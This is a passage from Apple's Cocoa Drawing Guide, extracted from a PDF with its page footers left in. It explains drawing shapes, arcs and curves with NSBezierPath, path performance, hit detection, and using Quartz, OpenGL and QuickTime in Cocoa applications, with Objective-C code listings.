require a lot more work. Listing 8-9 shows code to draw a parallelogram using NSBezierPath. The method in this example inscribes the parallelogram inside the specified rectangle. The withShift parameter specifies the horizontal shift applied to the top left and bottom right corners of the rectangular area. Listing 8-9 Using lines to draw a polygon void DrawParallelogramInRect(NSRect rect, float withShift) { NSBezierPath* thePath = [NSBezierPath bezierPath]; [thePath moveToPoint:rect.origin]; [thePath lineToPoint:NSMakePoint(rect.origin.x + withShift, NSMaxY(rect))]; [thePath lineToPoint:NSMakePoint(NSMaxX(rect), NSMaxY(rect))]; [thePath lineToPoint:NSMakePoint(NSMaxX(rect) - withShift, rect.origin.y)]; [thePath closePath]; Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 145[thePath stroke]; } Adding Rectangles Because rectangles are used frequently, there are several options for drawing them. ● Use the methods of NSBezierPath to create your rectangle. The following methods are reasonably fast and offer the best precision: ● strokeRect: ● fillRect: ● bezierPathWithRect: ● appendBezierPathWithRect: ● Create rectangles using the Cocoa functions described in “Drawing Rectangles” (page 152). These functions draw rectangles faster than, but with less precision than, the methods of NSBezierPath. ● Create a rectangle using individual lines as described in “Adding Lines and Polygons” (page 145). You could use thistechnique to create diagonally oriented rectangles—that is, rectangles whose sides are not parallel to the x and y axes—without using a rotation transform. Listing 8-10 shows a simple function that fills and strokes the same rectangle using two different techniques. The current fill and stroke colors are used when drawing the rectangle, along with the default compositing operation. In both cases, the rectangles are drawn immediately; there is no need to send a separate fill or stroke message. Listing 8-10 Drawing a rectangle void DrawRectangle(NSRect aRect) { NSRectFill(aRect); [NSBezierPath strokeRect:aRect]; } Adding Rounded Rectangles InOS X v10.5 and later, the NSBezierPath classincludesthe following methodsfor creating rounded-rectangles: Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 146● bezierPathWithRoundedRect:xRadius:yRadius: ● appendBezierPathWithRoundedRect:xRadius:yRadius: These methods create rectangles whose corners are curved according to the specified radius values. The radii describe the width and height of the oval to use at each corner of the rectangle. Figure 8-8 shows how this inscribed oval is used to define the path of the rectangle’s corner segments. Figure 8-8 Inscribing the corner of a rounded rectangle Listing 8-11 shows a code snippet that creates and draws a path with a rounded rectangle. Listing 8-11 Drawing a rounded rectangle void DrawRoundedRect(NSRect rect, CGFloat x, CGFloat y) { NSBezierPath* thePath = [NSBezierPath bezierPath]; [thePath appendBezierPathWithRoundedRect:rect xRadius:x yRadius:y]; [thePath stroke]; } Adding Ovals and Circles To draw ovals and circles, use the following methods of NSBezierPath: ● bezierPathWithOvalInRect: ● appendBezierPathWithOvalInRect: Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 147Both methods inscribe an oval inside the rectangle you specify. You must then fill or stroke the path object to draw the oval in the current context. The following example creates an oval from the specified rectangle and strokes its path. void DrawOvalInRect(NSRect ovalRect) { NSBezierPath* thePath = [NSBezierPath bezierPath]; [thePath appendBezierPathWithOvalInRect:ovalRect]; [thePath stroke]; } You could also create an oval using arcs, but doing so would duplicate what the preceding methods do internally and would be a little slower. The only reason to add individual arcs is to create a partial (non-closed) oval path. For more information, see “Adding Arcs” (page 148). Adding Arcs To draw arcs, use the following methods of NSBezierPath: ● appendBezierPathWithArcFromPoint:toPoint:radius: ● appendBezierPathWithArcWithCenter:radius:startAngle:endAngle: ● appendBezierPathWithArcWithCenter:radius:startAngle:endAngle:clockwise: The appendBezierPathWithArcFromPoint:toPoint:radius: method creates arcs by inscribing them in an angle formed by the current point and the two points passed to the method. Inscribing a circle in this manner can result in an arc that does not intersect any of the points used to specify it. It can also result in the creation of an unwanted line from the current point to the starting point of the arc. Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 148Figure 8-9 shows three different arcs and the control points used to create them. For the two arcs created using appendBezierPathWithArcFromPoint:toPoint:radius:, the current point must be set before calling the method. In both examples, the point isset to (30, 30). Because the radius of the second arc isshorter, and the starting point of the arc is not the same as the current point, a line is drawn from the current point to the starting point. Figure 8-9 Creating arcs Listing 8-12 shows the code snippets you would use to create each of the arcs from Figure 8-9. (Although the figure shows the arcs individually, executing the following code would render the arcs on top of each other. ) Listing 8-12 Creating three arcs NSBezierPath* arcPath1 = [NSBezierPath bezierPath]; Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 149NSBezierPath* arcPath2 = [NSBezierPath bezierPath]; [[NSColor blackColor] setStroke]; // Create the first arc [arcPath1 moveToPoint:NSMakePoint(30,30)]; [arcPath1 appendBezierPathWithArcFromPoint:NSMakePoint(0,30) toPoint:NSMakePoint(0,60) radius:30]; [arcPath1 stroke]; // Create the second arc. [arcPath2 moveToPoint:NSMakePoint(30,30)]; [arcPath2 appendBezierPathWithArcFromPoint:NSMakePoint(30,40) toPoint:NSMakePoint(70,30) radius:20]; [arcPath2 stroke]; // Clear the old arc and do not set an initial point, which prevents a // line being drawn from the current point to the start of the arc. [arcPath2 removeAllPoints]; [arcPath2 appendBezierPathWithArcWithCenter:NSMakePoint(30,30) radius:30 startAngle:45 endAngle:135]; [arcPath2 stroke]; Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 150Adding Bezier Curves To draw Bezier curves, you must use the curveToPoint:controlPoint1:controlPoint2: method of NSBezierPath. This method supports the creation of a cubic curve from the current point to the destination point you specify when calling the method. The controlPoint1 parameter determinesthe curvature starting from the current point, and controlPoint2 determines the curvature of the destination point, as shown in Figure 8-1 (page 132). Figure 8-10 Cubic Bezier curve Adding Text Because NSBezierPath only supports path-based content, you cannot add text characters directly to a path; instead, you must add glyphs. A glyph is the visual representation of a character (or partial character) in a particular font. For glyphs in an outline font, this visual representation is stored as a set of mathematical paths that can be added to an NSBezierPath object. Note: Using NSBezierPath is not the most efficient way to render text, but can be used in situations where you need the path information associated with the text. To obtain a set of glyphs, you can use the Cocoa text system or the NSFont class. Getting glyphs from the Cocoa text system is usually easier because you can get glyphs for an arbitrary string of characters, whereas using NSFont requires you to know the names of individual glyphs. To get glyphs from the Cocoa text system, you must do the following: 1. Create the text system objects needed to manage text layout. 2. Use the glyphAtIndex: or getGlyphs:range: method of NSLayoutManager to retrieve the desired glyphs. 3. Add the glyphs to your NSBezierPath object using one of the following methods: ● appendBezierPathWithGlyph:inFont: ● appendBezierPathWithGlyphs:count:inFont: Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 151When added to your NSBezierPath object, glyphs are converted to a series of path elements. These path elements simply specify lines and curves and do not retain any information about the characters themselves. You can manipulate paths containing glyphs just like you would any other path by changing the points of a path element or by modifying the path attributes. Drawing the Shapes in a Path There are two options for drawing the contents of a path: you can stroke the path or fill it. Stroking a path renders an outline of the path’sshape using the currentstroke color and path attributes. Filling the path renders the area encompassed by the path using the current fill color and winding rule. Figure 8-11 shows the same path from Figure 8-1 (page 132) but with the contents filled and a different stroke width applied. Figure 8-11 Stroking and filling a path. Drawing Rectangles Cocoa provides several functions for drawing rectangles to the current context immediately using the default attributes. These functions use Quartz primitives to draw one or more rectangles quickly, but in a way that may be less precise than if you were to use NSBezierPath. For example, these routines do not apply the current join style to the corners of a framed rectangle. Table 8-4 lists some of the more commonly used functions for drawing rectangles along with their behaviors. You can use these functions in places where speed is more important than precision. The syntax for each function is provided in a shorthand notation, with parameter types omitted to demonstrate the calling conventions. For a complete list of available functions, and their full syntax, see Application Kit Functions Reference . Paths Drawing Rectangles 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 152Table 8-4 Rectangle frame and fill functions Function Description void NSEraseRect(aRect) Fills the specified rectangle with white. Drawsthe frame of the rectangle using the current fill color, the default line width, and the NSCompositeCopy compositing operation. void NSFrameRect(aRect) Drawsthe frame of the rectangle using the current fill color, the specified width, and the NSCompositeCopy compositing operation. void NSFrameRectWithWidth(aRect, width) Drawsthe frame of the rectangle using the current fill color, the specified width, and the specified operation. void NSFrameRectWithWidthUsingOperation(aRect, width, op) Fills the rectangle using the current fill color and the NSCompositeCopy compositing operation. void NSRectFill(aRect) Fills the rectangle using the current fill color and specified compositing operation. void NSRectFillUsingOperation(aRect, op) Fillsthe C-style array of rectangles using the current fill color and the NSCompositeCopy compositing operation. void NSRectFillList(rectList, count) Fills the C-style array of rectangles using the corresponding list of colors. Each list must have the same number of entries. void NSRectFillListWithColors(rects, colors, count) Fillsthe C-style array of rectangles using the current fill color and the specified compositing operation. void NSRectFillListUsingOperation(rects, count, op) Fills the C-style array of rectangles using the corresponding list of colors and the specified compositing operation. The list of rectangles and list of colors must contain the same number of items. void NSRectFillListWithColorsUsingOperation(rects, colors, count, op) Paths Drawing Rectangles 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 153Important: You may have noticed that the NSFrameRect, NSFrameRectWithWidth, and NSFrameRectWithWidthUsingOperation functions draw the rectangle using the fill color instead of the stroke color. These methods draw the rectangle’s frame by filling four sub-rectangles, one for each side of the rectangle. This differs from the way NSBezierPath draws rectangles and can sometimes lead to confusion. If your rectangle does not show up the way you expected, check your code to make sure you are setting the drawing color using either the set or setFill method of NSColor. Working with Paths Building a sleek and attractive user interface is hard work and most programs use a combination of images and paths to do it. Paths have the advantage of being lightweight, scalable, and fast. Even so, paths are not appropriate in all situations. The following sections provide some basic tips and guidance on how to use paths effectively in your program. Building Paths Building a path involves creating an NSBezierPath object and adding path elements to it. All paths must start with a Move To element to mark the first point of the path. In some cases, this element is added for you but in others you must add it yourself. For example, methods that create a closed path (such as an oval or rectangle) insert a MoveTo element for you. A single NSBezierPath object may have multiple subpaths. Each subpath is itself a complete path, meaning the subpath may not appear connected to any other subpaths when drawn. Filled subpaths can still interact with each other, however. Overlapping subpaths may cancel each other’s fill effect, resulting in holes in the fill area. All subpaths in an NSBezierPath object share the same drawing attributes. The only way to assign different attributes to different paths is to create different NSBezierPath objects for each. Improving Rendering Performance As you work on your drawing code, you should keep performance in mind. Drawing is a processor intensive activity but there are many waysto reduce the amount of drawing performed by your application. The following sections offersome basic tipsrelated to improving drawing performance with Cocoa applications. For additional drawing-related performance tips, see Drawing Performance Guidelines. Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 154Note: As with any determination of performance, you should measure the speed of your drawing operations before making any changes. If the amount of time spent inside the methods of NSBezierPath becomessignificant,simplifying your paths might offer better performance. Limiting the total amount of drawing you do during an update cycle might also improve performance. Reuse Your Path Objects If you draw the same content repeatedly, consider caching the objects used to draw that content. It is usually more efficient to retain an existing NSBezierPath object than to recreate it during each drawing cycle. For content that might change dynamically, you might also consider maintaining a pool of reusable objects. Correctness Versus Efficiency When writing your drawing code, you should always try to make that code as efficient as possible without sacrificing the quality of the rendered content. If your drawing code seems slow, there are some tradeoffs you can make to improve efficiency that reduce quality only temporarily: ● Use the available update rectanglesto draw only what has changed. Use different NSBezierPath objects for each part of the screen rather than one large object that covers everything. For more information, see “Reduce Path Complexity” (page 155). ● During scrolling, live resizing, or other time-critical operations, consider the following options: ● If your screen contains animated content, pause the animation until the operation is complete. ● Try temporarily increasing the flatness value for curved paths. The default flatness value is set to 0.6, which results in nice smooth curves. Increasing this value above 1.0 may make your curves look more jagged but should improve performance. You may want to try a few different values to determine a good tradeoff between appearance and speed. ● Disable anti-aliasing. For more information, see “Setting the Anti-aliasing Options” (page 37). ● When drawing rectangles, use NSFrameRect and NSRectFill for operations where the highest quality is not required. These functions offer close approximations to what you would get with NSBezierPath but are often a little faster. Reduce Path Complexity If you are drawing a large amount of content, you should do your best to reduce the complexity of the path data you store in a single NSBezierPath object. Path objects with hundreds of path elements require more calculations than those with 10 or 20 elements. Every line or curve segment you add increases the number of calculations required to flatten the path or determine whether a point is inside it. Numerous path crossings also increases the number of required calculations when filling the path. Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 155If the accuracy of rendered paths is not crucial, try using multiple NSBezierPath objects to draw the same content. There is very little visual difference between using one path object or multiple path objects. If your path is already grouped into multiple subpaths, then it becomes easy to put some of those subpaths in other NSBezierPath objects. Using multiple path objects reduces the number of calculations for each subpath and also allows you to limit rendering to only those paths that are in the current update rectangle. Manipulating Individual Path Elements Given an NSBezierPath object with some existing path data, you can retrieve the points associated with that path and modify them individually. An illustration program might do this in response to a mouse event over one of the points in a path. If the mouse event results in that point being dragged to a new location, you can quickly update the path element with the new location and redraw the path. The elementCount method of NSBezierPath returns the total number of path elements for all subpaths of the object. To find out the type of a given path element, use the elementAtIndex: or elementAtIndex:associatedPoints: method. These methods return one of the values listed in Table 8-1 (page 131). Use the elementAtIndex:associatedPoints: method if you also want to retrieve the points associated with an element. If you do not already know the type of the path element, you should pass this method an array capable of holding at least three NSPoint data types. To change the points associated with a path element, use the setAssociatedPoints:atIndex: method. You cannot change the type of a path element, only the points associated with it. When changing the points, NSBezierPath takes only as many points from your point array as are needed. For example, if you specify three points for a Line To path element, only the first point is used. Listing 8-13 shows a method that updates the control point associated with a curve path element on the end of the current path. The pointsthat define the curve are stored in the order controlPoint1, controlPoint2, endPoint. This method replaces the point controlPoint2, which affects the end portion of the curve. Listing 8-13 Changing the control point of a curve path element - (void)replaceLastControlPointWithPoint:(NSPoint)newControl inPath:(NSBezierPath*)thePath { int elemCount = [thePath elementCount]; NSBezierPathElement elemType = [thePath elementAtIndex:(elemCount - 1)]; if (elemType != NSCurveToBezierPathElement) Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 156return; // Get the current points for the curve. NSPoint points[3]; [thePath elementAtIndex:(elemCount - 1) associatedPoints:points]; // Replace the old control point. points[1] = newControl; // Update the points. [thePath setAssociatedPoints:points atIndex:(elemCount - 1)]; } Transforming a Path The coordinate system of an NSBezierPath object always matches the coordinate system of the view in which it is drawn. Thus, given a path whose first point is at (0, 0) in your NSBezierPath object, drawing the path in your view places that point at (0, 0) in the view’s current coordinate system. To draw that path in a different location, you must apply a transform in one of two ways: ● Apply the transform to the view coordinate system and then draw the path. For information on how to apply transforms to a view, see “Creating and Applying a Transform” (page 51). ● Apply the transform to the NSBezierPath object itself using the transformUsingAffineTransform: method and then draw it in an unmodified view. Both techniques cause the path to be drawn at the same location in the view; however, the second technique also has the side effect of permanently modifying the NSBezierPath object. Depending on your content, this may or may not be appropriate. For example, in an illustration program, you might want the user to be able to drag shapes around the view; therefore, you would want to modify the NSBezierPath object to retain the new position of the path. Creating a CGPathRef From an NSBezierPath Object There may be times when it is necessary to convert an NSBezierPath object to a CGPathRef data type so that you can perform path-based operations using Quartz. For example, you might want to draw your path to a Quartz transparency layer or use it to do advanced hit detection. Although you cannot use a NSBezierPath object directly from Quartz, you can use its path elements to build a CGPathRef object. Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 157Listing 8-14 shows you how to create a CGPathRef data type from an NSBezierPath object. The example extends the behavior of the NSBezierPath class using a category. The quartzPath method uses the path elements of the NSBezierPath object to call the appropriate Quartz path creation functions. Although the method creates a mutable CGPathRef object, it returns an immutable copy for drawing. To ensure that the returned path returns correct results during hit detection, this method implicitly closes the last subpath if your code does not do so explicitly. Quartz requires paths to be closed in order to do hit detection on the path’s fill area. Listing 8-14 Creating a CGPathRef from an NSBezierPath @implementation NSBezierPath (BezierPathQuartzUtilities) // This method works only in OS X v10.2 and later. - (CGPathRef)quartzPath { int i, numElements; // Need to begin a path here. CGPathRef immutablePath = NULL; // Then draw the path elements. numElements = [self elementCount]; if (numElements > 0) { CGMutablePathRef path = CGPathCreateMutable(); NSPoint points[3]; BOOL didClosePath = YES; for (i = 0; i < numElements; i++) { switch ([self elementAtIndex:i associatedPoints:points]) { case NSMoveToBezierPathElement: CGPathMoveToPoint(path, NULL, points[0].x, points[0].y); break; case NSLineToBezierPathElement: Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 158CGPathAddLineToPoint(path, NULL, points[0].x, points[0].y); didClosePath = NO; break; case NSCurveToBezierPathElement: CGPathAddCurveToPoint(path, NULL, points[0].x, points[0].y, points[1].x, points[1].y, points[2].x, points[2].y); didClosePath = NO; break; case NSClosePathBezierPathElement: CGPathCloseSubpath(path); didClosePath = YES; break; } } // Be sure the path is closed or Quartz may not do valid hit detection. if (!didClosePath) CGPathCloseSubpath(path); immutablePath = CGPathCreateCopy(path); CGPathRelease(path); } return immutablePath; } @end The code from the preceding example closes only the last open path by default. Depending on your path objects, you might also want to close intermediate subpaths whenever a new Move To element is encountered. If your path objects typically contain only one path, you do not need to do so, however. Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 159Detecting Mouse Hits on a Path If you need to determine whether a mouse event occurred on a path or its fill area, you can use the containsPoint: method of NSBezierPath. This method teststhe point against all closed and open subpaths in the path object. If the point lies on or inside any of the subpaths, the method returns YES. When determining whether a point is inside a subpath, the method uses the nonzero winding rule. If your software runs in OS X v10.4 and later, you can perform more advanced hit detection using the CGContextPathContainsPoint and CGPathContainsPoint functions in Quartz. Using these functions you can determine if a point is on the path itself or if the point is inside the path using either the nonzero or even-odd winding rule. Although you cannot use these functions on an NSBezierPath object directly, you can convert your path object to a CGPathRef data type and then use them. For information on how to convert a path object to a CGPathRef data type, see “Creating a CGPathRef From an NSBezierPath Object” (page 157). Important: Quartz considers a point to be inside a path only if the path is explicitly closed. If you are converting your NSBezierPath objects to Quartz paths for use in hit detection, be sure to close any open subpaths either prior to or during the conversion. If you do not, points lying inside your path may not be correctly identified as such. Listing 8-15 shows an example of how you might perform advanced hit detection on an NSBezierPath object. This example adds a method to the NSBezierPath class using a category. The implementation of the method adds a CGPathRef version of the current path to the current context and calls the CGContextPathContainsPoint function. This function uses the specified mode to analyze the location of the specified point relative to the current path and returns an appropriate value. Modes can include kCGPathFill, kCGPathEOFill, kCGPathStroke, kCGPathFillStroke, or kCGPathEOFillStroke. Listing 8-15 Detecting hits on a path @implementation NSBezierPath (BezierPathQuartzUtilities) // Note, this method works only in OS X v10.4 and later. - (BOOL)pathContainsPoint:(NSPoint)point forMode:(CGPathDrawingMode)mode { CGPathRef path = [self quartzPath]; // Custom method to create a CGPath CGContextRef cgContext = (CGContextRef)[[NSGraphicsContext currentContext] graphicsPort]; CGPoint cgPoint; BOOL containsPoint = NO; cgPoint.x = point.x; Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 160cgPoint.y = point.y; // Save the graphics state before doing the hit detection. CGContextSaveGState(cgContext); CGContextAddPath(cgContext, path); containsPoint = CGContextPathContainsPoint(cgContext, cgPoint, mode); CGContextRestoreGState(cgContext); return containsPoint; } @end Paths Working with Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 161Cocoa was designed to integrate well with other technologies in OS X. Many technologies are packaged as Objective-C frameworks, which makesincluding them in Cocoa easy. You are not limited to the use of Objective-C frameworks, though. Cocoa itself uses Quartz internally to implement most drawing routines. You can use Quartz and other C-based technologies,such as OpenGL and QuickTime, from your code with little extra effort. The sections that follow provide information about how to incorporate some of the more important drawing technologies available in OS X. Using Quartz in Your Application Everything you can draw using Cocoa can also be drawn using Quartz. The Cocoa drawing code itself uses Quartz primitives to render content. Cocoa simply adds an object-oriented interface and in some cases does more of the work for you. Cocoa does not provide classes for all Quartz behavior, however. In situations where a feature is not available in Cocoa, you may want to use Quartz directly. For general information about Quartz features and how to use them, see Quartz 2D Programming Guide . Using Quartz Features Because Quartz implements some features that Cocoa does not, there may be times when you need to use Quartz function calls from your Cocoa code. Because Cocoa uses Quartz for most drawing operations, mixing the two technologies is not an issue. Some of the Quartz features that are not supported directly by Cocoa include the following: ● Layers ● Gradients (also called shadings) ● Image data sources ● Blend modes (Cocoa uses compositing modes instead) ● Masking images ● Transparency layers (for grouping content) ● Arbitrary patterns (other than images) 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 162 Incorporating Other Drawing TechnologiesIn each case, you are free to use Quartz functions to take advantage of these features. Some features can produce data types that you can then incorporate back into a Cocoa object. (For example, you can use an image data source to obtain a Quartz image (CGImageRef), which you can then use to create an NSImage object.) In some cases, however, you may need to perform the entire operation using Quartz functions. For information on how to use Quartz features, see Quartz 2D Programming Guide . Graphics Type Conversions When going back and forth between Cocoa and Quartz code,some conversion of data types may be necessary. Table 9-1 shows the Cocoa equivalents of some basic Quartz types. Table 9-1 Simple data-type conversions Cocoa type Quartz type NSRect CGRect NSPoint CGPoint NSSize CGSize Although in each case the structure layout is the same, you cannot pass the Quartz data type directly to a method expecting the Cocoa type. To convert, you must cast from one type to another, as shown in the following example: NSRect cocoaRect = *(NSRect*)&myCGRect; Table 9-2 lists the Cocoa classes that approximate the behavior of specific Quartz data types. In some cases, the Cocoa class wraps an instance of its Quartz counterpart, but that is not always true. In the case of shadows, Quartz provides no direct data type for managing the shadow parameters; you must set shadows attributes in Quartz using several different functions. In the case of layers, there are no Cocoa equivalents. Table 9-2 Equivalent Cocoa and Quartz data types Cocoa type Quartz type NSGraphicsContext CGContextRef NSAffineTransform CGAffineTransform NSColor CGColorRef, CGPatternRef NSFont CGFontRef Incorporating Other Drawing Technologies Using Quartz in Your Application 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 163Cocoa type Quartz type NSGlyph CGGlyph NSImage CGImageRef NSBezierPath CGPathRef NSShadow CGSize, CGColorRef NSGradient (OS X v10.5 and later) CGShadingRef No equivalent CGLayerRef Because Cocoa types often wrap equivalent Quartz types, you should look at the Cocoa reference documentation for information about how to get equivalent Quartz objects, if any. In many cases, Cocoa classes do not offer direct access to their Quartz equivalent and you may need to create the Quartz type based on information in the Cocoa object, such as in the following cases: ● To create a CGPathRef object from an NSBezierPath object, you must redraw the path using Quartz function calls. Use the elementAtIndex:associatedPoints: method of NSBezierPath to retrieve the path’s point information. ● To convert back and forth between CGColorRef and NSColor objects, get the color component values from one object and use those values to create the other object. When creating colors, you may also need to specify the color space for that color. For the most part, Quartz and Cocoa support the same color spaces. If a color uses a custom color space, you can use the available ICC profile data to create the appropriate color space object. ● To create an NSImage object from a Quartz image, you need to create the image object indirectly. For information on how to do this, see “Using a Quartz Image to Create an NSImage” (page 95). ● To create Quartz shadows, you can use the methods of NSShadow to retrieve the color, offset, and blur radius values prior to calling CGContextSetShadow or CGContextSetShadowWithColor. Getting a Quartz Graphics Context Before using any Quartz features, you need to obtain a Quartz graphics context (CGContextRef) for drawing. For view-based drawing, you can get the context by sending a graphicsPort message to the current Cocoa graphics context (NSGraphicsContext). This method returns a pointer that you can cast to a CGContextRef data type and use in subsequent Quartz function calls. Incorporating Other Drawing Technologies Using Quartz in Your Application 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 164Creating a Cocoa Graphics Context Using Quartz In OS X v10.4 and later, if you have an existing Quartz graphics context, you can create a Cocoa graphics context object using the graphicsContextWithGraphicsPort:flipped: class method of NSGraphicsContext. You then use the setCurrentContext: class method to make that context the current context. Modifying the Graphics State When mixing calls to Quartz and Cocoa, remember that many Cocoa classes maintain a local copy of some graphics attributes normally associated with the Quartz graphics context. When such a class is ready to draw its content, it modifiesthe graphicsstate to match itslocalsettings, drawsits content, and restoresthe graphics state to its originalsettings. If you use Quartz to change an attribute that is maintained locally by a Cocoa class, your changes may not be used. If you make changesto the graphicsstate using the NSGraphicsContext class, your changes are immediately conveyed to the Quartz graphics context, and vice versa. If you are not using NSGraphicsContext to set an attribute, you should assume that the attribute is local to the object. For example, the NSBezierPath class prefers local copies of graphics attributes over the default (or global) attributes stored in the current context. Using OpenGL in Your Application OpenGL is an open, cross-platform, three-dimensional (3D) graphics standard with broad industry support. OpenGL eases the task of writing real-time 2D or 3D graphics applications by providing a mature, well-documented graphics processing pipeline that supports the abstraction of current and future hardware accelerators. The sections that follow provide a glimpse into the techniques used to incorporate OpenGL drawing calls into your Cocoa application. For more on OpenGL support in OS X, and for detailed examples of how to integrate OpenGL into your Cocoa application, see OpenGL Programming Guide for Mac . For general information about OpenGL, see Reference Library > Graphics & Imaging > OpenGL. Using NSOpenGLView One way to do OpenGL drawing is to add an OpenGL view (an instance of NSOpenGLView) to your window. An OpenGL view behaves like any other view but also stores a pointer to an OpenGL graphics context object (an instance of NSOpenGLContext). Storing the graphics context in the view eliminates the need for your code to recreate the context during each drawing cycle, which can be expensive. Incorporating Other Drawing Technologies Using OpenGL in Your Application 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 165To use an OpenGL view in your program, you create a subclass of NSOpenGLView and add that view to your window, either programmatically or using Interface Builder. When creating an OpenGL view programmatically, you specify the pixel format object you want to associate with the view. A pixel format object (an instance of NSOpenGLPixelFormat)specifiesthe buffers and other rendering attributes of the OpenGL graphics context. For information on the meaning of different pixel format attributes, see OpenGL Programming Guide for Mac . If you use Interface Builder to add your view to a window, you specify the pixel format information using the inspector for your view. Interface Builder lets you specify some pixel attributes, but not all. To support other attributes, you must replace the view’s pixel format object at runtime using the setPixelFormat: method. Important: If you set the pixel format attributes programmatically, you must do so before getting the OpenGL graphics context using the openGLContext method. The graphics context is created with the current pixel format information and is not recreated if that information changes. Alternatively, you can change the OpenGL graphics context at any time using the setOpenGLContext: method. As with other views, you use your OpenGL view’s drawRect: method to draw the content of your view. When your drawRect: method is invoked, the environment is automatically configured for drawing using the OpenGL graphics context associated with your view. Unlike with other graphics contexts, you do not need to restore the previous OpenGL graphics context when you are done drawing. OpenGL does not maintain a stack of graphics contexts that need to be popped as they are no longer needed. Instead, it simply uses the most recent context that was made current. Creating an OpenGL Graphics Context Before creating an OpenGL graphics context object, you first create a pixel format object (NSOpenGLPixelFormat). The attributes you specify when creating your pixel format object determine the rendering behavior of the graphics context. Once you have a valid pixel format object, you can create and initialize your OpenGL graphics context object. Listing 9-1 attempts to create an OpenGL graphics context that supports full-screen, double-buffered, 32-bit drawing. If the desired renderer is available, it returns the context; otherwise, it returns nil. Listing 9-1 Creating an OpenGL graphics context - (NSOpenGLContext*)getMyContext { // Specify the pixel-format attributes. NSOpenGLPixelFormatAttribute attrs[] = { Incorporating Other Drawing Technologies Using OpenGL in Your Application 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 166NSOpenGLPFAFullScreen, NSOpenGLPFADoubleBuffer, NSOpenGLPFADepthSize, 32, 0 }; // Create the pixel-format object. NSOpenGLContext* myContext = nil; NSOpenGLPixelFormat* pixFmt = [[NSOpenGLPixelFormat alloc] initWithAttributes:attrs]; // If the pixel format is valid, create the OpenGL context. if (pixFmt != nil) { myContext = [[NSOpenGLContext alloc] initWithFormat:pixFmt shareContext:NO]; } [pixFmt release]; return myContext; } Because the creation of OpenGL graphics contexts depends on the currently available renderers, your code should always verify that the desired objects were created before trying to use them. If creating an object fails, you can always try to create it again using a different set of attributes. Using QuickTime in Your Application QuickTime is Apple's cross-platform multimedia technology designed to help you create and deliver video, sound, animation, graphics, text, interactivity, and music. QuickTime supports dozens of file and compression formats for images, video, and audio, including ISO-compliant MPEG-4 video and AAC audio. You can incorporate QuickTime features into your Cocoa applications in one of two ways. The easiest way is through the QuickTime Kit, which is a full-featured Objective-C based framework for the QuickTime interfaces. If you are already familiar with the C-based QuickTime interfaces, you can use those instead. Incorporating Other Drawing Technologies Using QuickTime in Your Application 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 167Using the QuickTime Kit The QuickTime Kit framework (QTKit.framework) works with QuickTime movies in Cocoa applications in OS X. The QuickTime Kit framework was introduced in OS X v10.4 and was designed as an alternative to and eventual replacement for the existing NSMovie and NSMovieView classes in Cocoa. This new framework provides more extensive coverage of QuickTime functions and data types than had been offered by the Application Kit classes. More importantly, the framework does not require Cocoa programmersto be conversant with Carbon data types such as handles, aliases, file-system specifications, and so on. The QuickTime Kit framework is available primarily in OS X v10.4 and later, but it is also supported in OS X v10.3 with QuickTime 7 or later installed. For information on how to use the QuickTime Kit, see QuickTime Kit Programming Guide . For a reference of the classes in the QuickTime Kit, see QTKit Framework Reference . Using QuickTime C-Based Functions Long before the introduction of the QuickTime Kit framework, QuickTime programs were written using a C-based API. The QuickTime API encompasses thousands of functions and gives you the maximum flexibility in managing QuickTime content. You can use this API in your Cocoa applications like you would any other framework. For an introduction toQuickTime,seeQuickTimeOverview. Forthe completeQuickTime reference,seeQuickTime Framework Reference . Using Quartz Composer Compositions If yoursoftware runsin OS X v10.4 and later, you can use Quartz Composer to render complex graphical content. Quartz Composer usesthe latestOS X graphicstechnologiesto create advanced graphical images and animations quickly and easily. You use the Quartz Composer application to create composition files graphically and then load those compositions into your Cocoa application and run them. Changing the behavior of your Cocoa application is then as simple as updating the composition file. Quartz Composer is especially suited for applications that want to perform complex image manipulations. Through it, you gain easy access to features of Quartz 2D, Core Image, Core Video, OpenGL, QuickTime, MIDI System Services, and Real Simple Syndication (RSS). Your application can render compositions for display or provide the user with controls for manipulating the composition parameters. For a detailed example showing you how to run a composition from your Cocoa application, see the chapter “Using QCRenderer to Play a Composition” in Quartz Composer Programming Guide . Incorporating Other Drawing Technologies Using Quartz Composer Compositions 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 168Choosing the Right Imaging Technology OS X includes several different technologies for manipulating images. Although the NSImage class provide a robust feature set that is sufficient for many developer’s uses, there may be specific times when you need to use other imaging technologies. Table 9-3 lists some of the other imaging technologies available and when you might use each one of them. Table 9-3 Imaging technologies Image Description technology Quartz images are immutable data types that you use to manipulate bitmap data in Quartz. Although NSImage is easier to use and provides automatic support for resolution independence, you might need to create Quartz images if another API you are using expects them. You can create a Quartz image by drawing into a NSBitmapImageRep object or Quartz bitmap context and then extracting a CGImageRef from there. Quartz images are part of the Application Services framework. Quartz Images (CGImageRef) 